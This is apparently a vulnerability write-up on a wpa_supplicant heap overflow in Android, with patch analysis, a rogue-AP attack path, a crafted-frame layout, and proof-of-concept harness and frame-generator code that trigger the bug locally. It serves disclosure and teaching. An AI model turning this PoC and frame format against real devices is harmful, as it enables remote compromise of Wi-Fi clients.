CVE Analysis · Android Security Bulletin · October 2026

The October 2026 Android Security Bulletin patched CVE-2026-49878, the month's only RCE-class bug: a heap out-of-bounds write in wpa_supplicant, the daemon that runs every Wi-Fi connection on Android. In the handler for Robust AV SCS Response action frames, two int arrays are allocated with os_zalloc(num_active_scs): that is N bytes for an array of N ints. A rogue access point that answers an in-flight SCS request gets a linear heap overflow of up to 3×N bytes past each buffer, writing attacker-controlled 16-bit status values as 4-byte ints. We reproduced it against the real Android source with a single-frame PoC: a 1-byte allocation immediately overflowed by a 4-byte write. ASan fires at the first store; a non-instrumented build corrupts the heap silently and exits 0.

Attack chain: victim phone sends SCS Request, rogue AP forges crafted SCS Response, wpa_supplicant heap OOB write
The attack chain: everything the response handler checks (dialog token, SCS ids) is visible in the cleartext request.

TL;DR

CVECVE-2026-49878 (A-511544607)
SeverityHigh, RCE class. The only RCE in the October 2026 bulletin.
Componentexternal/wpa_supplicant_8 → wpa_supplicant/robust_av.c, wpas_handle_robust_av_scs_recv_action()
Root Causeos_zalloc(num_active_scs) instead of os_calloc(num_active_scs, sizeof(int)): bytes/elements confusion
ImpactHeap OOB write, up to 3×N bytes past two N-byte buffers, attacker-controlled u16 values, in the privileged Wi-Fi daemon
AffectedAOSP 14–17, SPL < 2026-10-01. Also fixed via WiFi Mainline (Play system update).
Attack surface802.11 Robust AV action frames; rogue AP / evil twin. No user interaction beyond associating plus an app using Wi-Fi QoS.
Fixd1315403, a two-line allocation fix

Background: SCS, or How Your Game Asks the AP for Priority

Stream Classification Service is the 802.11 Robust AV mechanism (standardized in the 802.11 REVme roll-up) that lets a client ask its access point to prioritize a traffic stream. An app installs a QoS policy (think games, video calls, OEM "game mode" boosters) and the framework calls into the Wi-Fi stack; wpa_supplicant sends an SCS Request action frame describing the flows; the AP answers with an SCS Response: a count, then per-stream {scs_id, status} tuples.

Two properties make this interesting from the attacker's side:

  • It is an action-frame handler. This is 802.11 management-plane code reached over the air, with no application-layer interaction. The receiving process is wpa_supplicant, a privileged system process that on current Android lives inside the com.android.wifi Mainline APEX.
  • The request is sent in the clear. Everything needed to forge a valid response (the dialog token and the active SCS ids) is observable in the request frame. A rogue AP, or anyone who can inject the frame, has all the secrets the protocol checks.

Robust AV is compiled in on Android (CONFIG_NO_ROBUST_AV is commented out in wpa_supplicant/android.config), so this handler is present on every affected build.

Patch Analysis

The fix commit is exactly two lines in wpa_supplicant/robust_av.c:

-	scs_resp[0] = (int *) os_zalloc(num_active_scs);
+	scs_resp[0] = os_calloc(num_active_scs, sizeof(int));
-	scs_resp[1] = (int *) os_zalloc(num_active_scs);
+	scs_resp[1] = os_calloc(num_active_scs, sizeof(int));

os_zalloc(n) is a zeroing malloc(n): bytes. The buffers are used as int[num_active_scs], which needs num_active_scs * sizeof(int) bytes. The fix both multiplies correctly and routes the multiplication through os_calloc's overflow check. Nothing else in the parsing logic changes, which makes this an ideal patch-diffing exercise: the delta is the bug.

Root Cause: N Bytes for N Ints

wpas_handle_robust_av_scs_recv_action() counts the client's active SCS descriptors, sanity-checks the frame's count field against it (num_active_scs < count → drop), allocates the two arrays, then loops over the frame entries (pre-patch robust_av.c:877–930):

num_active_scs = dl_list_len(&wpa_s->active_scs_ids);
if (num_active_scs < count)
	return;                       /* count <= N survives */

scs_resp[0] = (int *) os_zalloc(num_active_scs);   /* N bytes! */
scs_resp[1] = (int *) os_zalloc(num_active_scs);

for (i = 0; i < count; i++) {
	id = *buf++;
	status = WPA_GET_LE16(buf); buf += 2;
	...                            /* id must match an active SCS id */
	scs_resp[0][j] = id;           /* OOB for j*4 >= N */
	scs_resp[1][j++] = status;     /* OOB likewise */
}

Because count may equal num_active_scs, the loop writes up to N ints (4N bytes) into each N-byte buffer. The first out-of-bounds store happens at index j = ceil(N/4); at N = count the overflow extends 3N bytes past each allocation. A second write path (the "response not received" backfill, bounded by j < num_active_scs) writes -1 markers into the same undersized buffers.

Delivery: The Rogue-AP Path

The dispatch is in wpa_supplicant/events.c: a Robust AV Streaming action frame (category 19) whose first payload byte is ROBUST_AV_SCS_RESP lands directly in the handler. The payload the handler parses is minimal:

[ dialog_token ][ count ][ scs_id ][ status_lo status_hi ] × count

To pass the three gates inside the handler, the attacker needs:

  1. an in-flight SCS request on the victim (ongoing_scs_req), created by any app using Android's Wi-Fi QoS policy APIs;
  2. the dialog token, visible in the cleartext SCS Request;
  3. a matching scs_id, likewise visible. With status = 0 (SUCCESS) the descriptor survives each iteration, so one id can be reused for maximal damage.

No user interaction. The realistic scenario is the classic evil twin: the victim associates to the rogue AP (which advertises the SCS extended-capability bit so the client is willing to send requests at all), a QoS-aware app requests stream classification, and the attacker answers within the ~1-second response window. That is trivially deterministic when you are the AP.

Frame injection without owning the AP is conditional. Sniffing the request to a legitimate AP and spoofing the response only works where Protected Management Frames don't cover the exchange: on WPA3 / WPA2+PMF networks, spoofing individually-addressed action frames is blocked. Rogue AP is the reliable vector; injection is for weak or legacy networks.

The Primitive

  • Write values: attacker-controlled u16 status words (as 4-byte ints) into scs_resp[1]; attacker-known ids into scs_resp[0]; -1 from the backfill path.
  • Write extent: linear, sequential indices, up to 3×N bytes past two same-size-class heap allocations. N is attacker-influenced (count and active ids are u8-capped).
  • Process: privileged Wi-Fi stack context, and no crash oracle. The write is silent on production builds (below), so exploitation is heap grooming, not spray-and-pray.

Reproducing It: Harness and Evidence

Rather than standing up mac80211_hwsim, we compiled the actual robust_av.c from external/wpa_supplicant_8 (the vulnerable parent b812bef9 and the fix d1315403) into a small ASan driver. With -ffunction-sections and dead-stripping, only the SCS path survives; six external symbols are stubbed. The harness registers N active SCS ids and feeds the crafted response bytes:

./poc/build.sh
python3 poc/make_scs_frame.py poc/testcases
./build-vulnerable/driver poc/testcases/scs_aggressive.bin   # ASan fires
./build-patched/driver    poc/testcases/scs_aggressive.bin   # clean

The build script (build.sh)

Two variants get built from the same harness: one against the vulnerable tree, one against the fix. The real robust_av.c is compiled; everything the linker doesn't need for the SCS path is dead-stripped:

#!/bin/bash
# Build ASan-instrumented drivers against the vulnerable and patched
# wpa_supplicant_8 trees. The real wpa_supplicant/robust_av.c is compiled;
# unused functions are dead-stripped so only the SCS-response path's
# dependencies (stubbed in driver.c) are needed at link time.
set -e

ROOT=$(cd "$(dirname "$0")/.." && pwd)
CFLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer -ffunction-sections -fdata-sections -Wall -I$ROOT/poc/compat"
INCS="-I\$SRC/src -I\$SRC/wpa_supplicant -I\$SRC/src/common -I\$SRC/src/utils -I\$SRC/src/drivers -I\$SRC/src/crypto"

for variant in vulnerable patched; do
	SRC="$ROOT/src-$variant"
	OUT="$ROOT/build-$variant"
	mkdir -p "$OUT"

	echo "== building $variant =="
	clang $CFLAGS $(eval echo $INCS) \
		-c "$SRC/wpa_supplicant/robust_av.c" -o "$OUT/robust_av.o"

	clang $CFLAGS $(eval echo $INCS) \
		"$ROOT/poc/driver.c" "$OUT/robust_av.o" \
		-Wl,-dead_strip -o "$OUT/driver"
done

echo "built: build-vulnerable/driver, build-patched/driver"

The driver (driver.c)

The full harness. The stubs up top stand in for the handful of symbols the SCS path pulls in (wpa_msg, eloop_cancel_timeout, the notify callback). main() builds a minimal wpa_supplicant state with N active SCS descriptors and calls the vulnerable handler with attacker-controlled bytes, exactly as events.c would:

/*
 * CVE-2026-49878 harness — heap OOB write in
 * wpas_handle_robust_av_scs_recv_action() (wpa_supplicant/robust_av.c)
 *
 * Compiles against the REAL robust_av.c from external/wpa_supplicant_8
 * (vulnerable parent b812bef9 or fix d1315403) and feeds it a crafted
 * Robust AV SCS Response payload, the bytes that arrive after the
 * action field of a WLAN_ACTION_ROBUST_AV_STREAMING frame.
 *
 * Testcase file format:
 *   byte 0 : n_active_scs  (active SCS ids to pre-register: 1..n)
 *   byte 1 : dialog_token  (must equal wpa_s->scs_dialog_token)
 *   byte 2 : count         (SCS Response "Count" field)
 *   then count * 3 bytes: { scs_id, status_le16 }
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>

#include "utils/includes.h"
#include "utils/common.h"
#include "utils/eloop.h"
#include "wpa_supplicant_i.h"

/* ---- minimal stubs for symbols referenced by the kept code path ---- */

void * os_zalloc(size_t size)
{
	return calloc(1, size ? size : 1);
}

void wpa_printf(int level, const char *fmt, ...)
{
	va_list ap;

	(void) level;
	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fputc('\n', stderr);
}

void wpa_msg(void *ctx, int level, const char *fmt, ...)
{
	va_list ap;

	(void) ctx;
	(void) level;
	fprintf(stderr, "wpa_msg: ");
	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fputc('\n', stderr);
}

int eloop_cancel_timeout(eloop_timeout_handler handler,
			 void *eloop_data, void *user_data)
{
	(void) handler;
	(void) eloop_data;
	(void) user_data;
	return 0;
}

void wpas_notify_qos_policy_scs_response(struct wpa_supplicant *wpa_s,
					 unsigned int num_scs_resp,
					 int **scs_resp)
{
	(void) wpa_s;
	fprintf(stderr, "notify_qos_policy_scs_response: num=%u\n",
		num_scs_resp);
	(void) scs_resp;
}

/* ---- harness ---- */

int main(int argc, char **argv)
{
	FILE *f;
	long sz;
	u8 *buf, *frame;
	size_t frame_len;
	unsigned int i, n_active;
	u8 token;
	struct wpa_supplicant *wpa_s;
	struct active_scs_elem *elem, *tmp;
	static const u8 ap_mac[ETH_ALEN] = { 0x02, 0x11, 0x22, 0x33, 0x44, 0x55 };

	if (argc != 2) {
		fprintf(stderr, "usage: %s <testcase.bin>\n", argv[0]);
		return 2;
	}

	f = fopen(argv[1], "rb");
	if (!f) {
		perror("fopen");
		return 2;
	}
	fseek(f, 0, SEEK_END);
	sz = ftell(f);
	fseek(f, 0, SEEK_SET);
	buf = malloc(sz);
	if (fread(buf, 1, sz, f) != (size_t) sz) {
		perror("fread");
		return 2;
	}
	fclose(f);
	if (sz < 3) {
		fprintf(stderr, "testcase too short\n");
		return 2;
	}

	n_active = buf[0];
	token = buf[1];
	frame = buf + 1;      /* dialog_token, count, entries... */
	frame_len = sz - 1;

	fprintf(stderr, "setup: n_active_scs=%u dialog_token=%u frame_len=%zu\n",
		n_active, token, frame_len);

	wpa_s = os_zalloc(sizeof(struct wpa_supplicant));
	dl_list_init(&wpa_s->active_scs_ids);
	wpa_s->scs_dialog_token = token;
	wpa_s->ongoing_scs_req = true;

	for (i = 1; i <= n_active; i++) {
		elem = os_zalloc(sizeof(*elem));
		elem->scs_id = i;
		elem->status = SCS_DESC_SENT;
		dl_list_add_tail(&wpa_s->active_scs_ids, &elem->list);
	}

	fprintf(stderr, "calling wpas_handle_robust_av_scs_recv_action()...\n");
	wpas_handle_robust_av_scs_recv_action(wpa_s, ap_mac, frame, frame_len);
	fprintf(stderr, "returned cleanly\n");

	dl_list_for_each_safe(elem, tmp, &wpa_s->active_scs_ids,
			      struct active_scs_elem, list) {
		dl_list_del(&elem->list);
		os_free(elem);
	}
	os_free(wpa_s);
	os_free(buf);
	return 0;
}

The frame generator (make_scs_frame.py)

Testcases are tiny binary files: one byte for the number of active SCS ids to pre-register, then the raw SCS Response payload (dialog token, count, then {scs_id, status} tuples):

#!/usr/bin/env python3
"""Generate testcases for the CVE-2026-49878 harness.

File format consumed by driver.c:
  byte 0 : n_active_scs  (driver pre-registers active SCS ids 1..n)
  byte 1 : dialog_token
  byte 2 : count         (SCS Response Count field)
  then count * 3 bytes:  { scs_id, status_le16 }

WLAN_STATUS_SUCCESS = 0 keeps the descriptor alive; any other status
deletes it after the first match.
"""

import struct
import sys


def build(path, n_active, entries, token=1):
    body = bytes([token, len(entries)])
    for scs_id, status in entries:
        body += struct.pack("<BH", scs_id, status)
    with open(path, "wb") as f:
        f.write(bytes([n_active]) + body)
    print(f"wrote {path}: n_active={n_active} count={len(entries)} "
          f"frame={body.hex()}")


if __name__ == "__main__":
    out = sys.argv[1] if len(sys.argv) > 1 else "."

    # Minimal: one active SCS id, single matching response.
    # os_zalloc(1) -> 1-byte buffer; scs_resp[0][0] = id writes 4 bytes.
    build(f"{out}/scs_min.bin", 1, [(1, 0)])

    # Aggressive: 8 active ids, 8 successful responses.
    # os_zalloc(8) -> 8-byte buffer; loop writes 8 ints = 32 bytes per array
    # -> 24 bytes OOB past each heap buffer, values attacker-controlled.
    build(f"{out}/scs_aggressive.bin", 8,
          [(i, 0) for i in range(1, 9)])

    # Controlled values: attacker-chosen u16 status words written OOB.
    build(f"{out}/scs_controlled.bin", 4,
          [(i, 0x4141 + i) for i in range(1, 5)])

The crash

Minimal testcase: one active SCS id, one matching successful response. The allocation at robust_av.c:884 reserves a single byte; the very first store at robust_av.c:929 writes four. Here is the full ASan session, command to abort:

Complete AddressSanitizer session for scs_min.bin: heap-buffer-overflow WRITE of size 4, 0 bytes after a 1-byte region allocated at robust_av.c:884, overflowed at robust_av.c:929, with shadow bytes and legend
The complete ASan report for scs_min.bin: a 1-byte heap allocation (robust_av.c:884, os_zalloc(1)) overflowed by the very first 4-byte store (robust_av.c:929). Shadow bytes included for the heap-layout curious.
testcasevulnerablepatched
scs_min.bin (n=1, count=1)heap-buffer-overflow WRITE(4), 0 bytes after 1-byte regionclean
scs_aggressive.bin (n=8, count=8)heap-buffer-overflow: 8-byte region, 32 bytes written per arrayclean
scs_controlled.bin (statuses 0x4142..)heap-buffer-overflow with attacker-chosen u16 valuesclean
Silent corruption. A non-ASan (-O1) build of the same harness processes all 8 responses and exits 0. The 24-byte-per-array overflow is invisible on a production build, there is no reliable crash oracle for the victim, and exploitation is heap-grooming dependent. That asymmetry (instant ASan hit, silent production corruption) is exactly what makes this bug class dangerous in fuzzing-resistant code paths.

Exploitability

Google rates it RCE (High). Our read: the primitive is real and strong. Linear heap OOB write, partly controlled values, attacker-influenced length, in a privileged remotely-reachable process. But weaponization has honest friction. The target must have an SCS request in flight, the dialog token must be observed, and with no crash oracle the attacker grooms blind. The ids are known bytes; statuses give 16-bit controlled values. wpa_supplicant's heap around these allocations is dominated by frame-processing objects, which are plentiful and attacker-adjacent: a decent grooming environment.

The more important story for defenders is patch velocity: because the vulnerable code lives in the WiFi Mainline module, the fix reaches devices through a Google Play system update, no OEM OTA required. Check Settings → Security & privacy → Google Play system update; the bulletin lists this fix under "Google Play system updates" as WiFi / CVE-2026-49878.

Lessons

  • os_zalloc(count) vs os_zalloc(count * sizeof(type)) remains one of the most reliable bug shapes in C. The cast in (int *) os_zalloc(...) silenced any compiler that might have complained and hid the intent from reviewers. Pattern worth grepping: (T *) os_zalloc( with a bare count.
  • Management-plane Wi-Fi code is remote attack surface. Action-frame handlers run in a privileged process before any app gets a say; they deserve the same fuzzing attention codecs get. This handler is small, stateful, and host-fuzzable: a good libafl target.
  • Mainline changes the remediation math. An RCE in wpa_supplicant would historically wait on OEM firmware; this one lands via Play system updates.

Want to find and exploit bugs like this yourself? This action-frame handler is exactly the kind of small, host-fuzzable native parser we hunt in Android Userland Fuzzing & Exploitation, the only course that takes you from building AFL++/libFuzzer harnesses against Android native code, through crash triage and root-cause analysis, all the way to a working exploit.

  • Android Userland Fuzzing & Exploitation: fuzz native parsers like this one, from the first crash to an RCE PoC
  • Android Application Security (free): the app/platform model this bug's trigger path lives in
  • Advanced Android Hacking: chaining vulnerabilities across system components into full device compromise

References

  • Android Security Bulletin — October 2026
  • Fix commit d1315403: "Fix heap OOB write in Robust AV SCS Response handler"
  • IEEE 802.11 REVme: SCS Response count field added per REVme/D0.0 CC35 CID 49 (see source comment at robust_av.c:864)

Action-frame parsing is remote code execution territory hiding in plain sight. Learn to fuzz and exploit Android native code in Android Userland Fuzzing & Exploitation, then learn to chain bugs across components in Advanced Android Hacking.